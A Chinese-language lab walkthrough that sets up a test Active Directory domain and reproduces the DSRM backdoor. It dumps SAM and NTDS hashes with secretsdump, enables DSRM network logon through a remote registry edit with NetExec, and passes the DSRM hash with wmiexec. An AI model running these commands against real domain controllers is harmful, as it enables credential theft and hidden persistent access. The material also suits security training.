AD 域–DSRM 后门
前言
在 Active Directory 环境中,DSRM(Directory Service Restore Mode)账户是每个域控制器上的本地管理员账户,通常用于离线维护
攻击者在获得足够权限后,可以修改 DSRM 账户的密码,从而在域控上建立一个隐蔽的持久化后门,即使常规的域管理员密码被更改,攻击者仍可通过 DSRM 账户登录域控
环境搭建
系统镜像
| 操作系统 | 用途 | 下载来源 |
|---|---|---|
| Windows Server 2016/2019/2022 | 域控制器操作系统 | Microsoft Evaluation Center 下载 ISO |
| Kali Linux | 攻击机操作系统 | kali.org 下载 ISO |
配置静态 IP 和 DNS
| 虚拟机 | 主机名 | IP 地址 | DNS 设置 |
|---|---|---|---|
| 域控制器 | DC01 | 静态 IP(如 192.168.1.10) | 指向自身 192.168.1.10 |
| 攻击机 | Kali | DHCP 自动获取 | 指向域控 192.168.1.10 |
打开 PowerShell(以管理员身份运行)
1 | # 设置静态 IP(请根据实际情况确认网关 192.168.83.2) |
New-NetIPAddress:PowerShell cmdlet,用于给网卡创建/设置 IP 地址-InterfaceAlias "Ethernet0":指定网络接口别名,这里是 Ethernet0-IPAddress 192.168.83.10:设置 IPv4 地址为 192.168.83.10-PrefixLength 24:子网前缀长度 /24,即子网掩码 255.255.255.0-DefaultGateway 192.168.83.2:设置默认网关为 192.168.83.2
1 | # 设置 DNS 指向自己 |
Set-DnsClientServerAddress:设置 DNS 客户端使用的 DNS 服务器-InterfaceAlias "Ethernet0":指定网卡-ServerAddresses 192.168.83.10:DNS 指向 192.168.83.10,也就是域控自己

重命名计算机
域控的计算机名建议规范,例如 DC01
1 | Rename-Computer -NewName "DC01" -Restart |
Rename-Computer:重命名计算机-NewName "DC01":新计算机名为 DC01-Restart:重命名后自动重启
安装 AD DS 角色
重启后,打开 PowerShell(管理员),安装 Active Directory 域服务
1 | Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools |
Install-WindowsFeature:安装 Windows Server 角色/功能-Name AD-Domain-Services:安装 Active Directory 域服务,即 AD DS-IncludeManagementTools:同时安装管理工具,例如 AD 管理中心、ADUC、DNS 管理工具等
提升为域控制器(创建新林)
先给本地 Administrator 设置强密码
1 | Set-LocalUser -Name "Administrator" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) |
Set-LocalUser:修改本地用户账户-Name "Administrator":指定本地用户 Administrator-Password (...):设置新密码,密码需要是 SecureString 类型ConvertTo-SecureString "P@ssw0rd123!":把明文密码转换成安全字符串-AsPlainText:告诉 PowerShell 输入是纯文本-Force:跳过确认或警告
这里假设你要创建一个名为 test.local 的域
DSRM 密码务必记下来,后面复现会用到
1 | Install-ADDSForest -DomainName "test.local" -SafeModeAdministratorPassword (ConvertTo-SecureString "DsrmP@ss123!" -AsPlainText -Force) -Force |
Install-ADDSForest:安装新的 Active Directory 林,并把当前服务器提升为域控制器-DomainName "test.local":新域名是 test.local-SafeModeAdministratorPassword (...):设置 DSRM 密码,即目录服务还原模式密码。这个密码后面用于 DSRM 后门复现ConvertTo-SecureString "DsrmP@ss123!" -AsPlainText -Force:把明文 DSRM 密码转换成安全字符串-Force:不交互确认,强制安装
重启后,用 TEST\Administrator 登录(密码就是刚设置的 P@ssw0rd123!),然后验证
1 | Get-Service NTDS |
Get-Service NTDS:查看 NTDS 服务状态。NTDS 是 AD DS 的核心服务,对应域控上的目录服务Get-ADDomain:查看当前 Active Directory 域信息,例如域名、域控、功能级别等

攻击机准备
1 | sudo apt update |
漏洞复现
提取 DSRM 哈希
假设我们已经拥有域管理员凭据:
用户名:Administrator
密码:
P@ssw0rd123!域:
test.local域控 IP:
192.168.83.10
使用 Impacket secretsdump 远程提取
1 | impacket-secretsdump test.local/Administrator:'P@ssw0rd123!'@192.168.83.10 |

本地 SAM 哈希(DSRM 账户在这里)
1 | [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) |
Administrator:500就是域控的本地 Administrator,即 DSRM 账户它的 NTLM 哈希是:
5cda316f49448aee6c5e18f653aac631这个哈希就是后续 Pass-The-Hash 要用的
域内哈希(NTDS.DIT)
1 | [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) |
这里的是域用户的哈希,包括域管理员 Administrator(哈希 7dfa0531…)、krbtgt、33270 和机器账户 DC01$。
注意:域管理员 Administrator 和本地 Administrator 虽然名字相同,但 RID 都是 500,然而它们的哈希不同。DSRM 用的是本地 SAM 里的那个
启用 DSRM 网络登录并验证后门
在域控上修改注册表,允许 DSRM 网络登录
1 | nxc smb 192.168.83.10 -u Administrator -p 'P@ssw0rd123!' -d test.local -x 'reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f' |
nxc:NetExec 命令smb:使用 SMB 协议模块192.168.83.10:目标域控 IP-u Administrator:认证用户名-p 'P@ssw0rd123!':认证密码-d test.local:指定域-x '...':在目标上执行系统命令,通常是 CMD 命令reg add:添加或修改注册表项/值HKLM\System\CurrentControlSet\Control\Lsa:注册表路径/v DsrmAdminLogonBehavior:要修改的值名称/t REG_DWORD:值类型为 DWORD/d 2:设置数据为 2/f:强制覆盖,不提示确认DsrmAdminLogonBehavior常见值:0:默认,DSRM 管理员通常只在 DSRM 启动时可用1:AD DS 停止时可用2:允许 DSRM 管理员账户进行网络登录,即使 AD DS 正在运行

验证注册表值
1 | nxc smb 192.168.83.10 -u Administrator -p 'P@ssw0rd123!' -d test.local -x 'reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior' |
reg query:查询注册表HKLM\System\CurrentControlSet\Control\Lsa:要查询的注册表路径/v DsrmAdminLogonBehavior:查询指定值名称
使用 DSRM 哈希进行 Pass-The-Hash
1 | impacket-wmiexec DC01/administrator@192.168.83.10 -hashes :5cda316f49448aee6c5e18f653aac631 |
-hashes :5cda316f49448aee6c5e18f653aac631:Impacket 的
-hashes格式为LMHASH:NTHASH冒号前为空,表示不提供 LM 哈希
冒号后为 NTLM 哈希,即前面从本地 SAM 中提取到的 DSRM 哈希
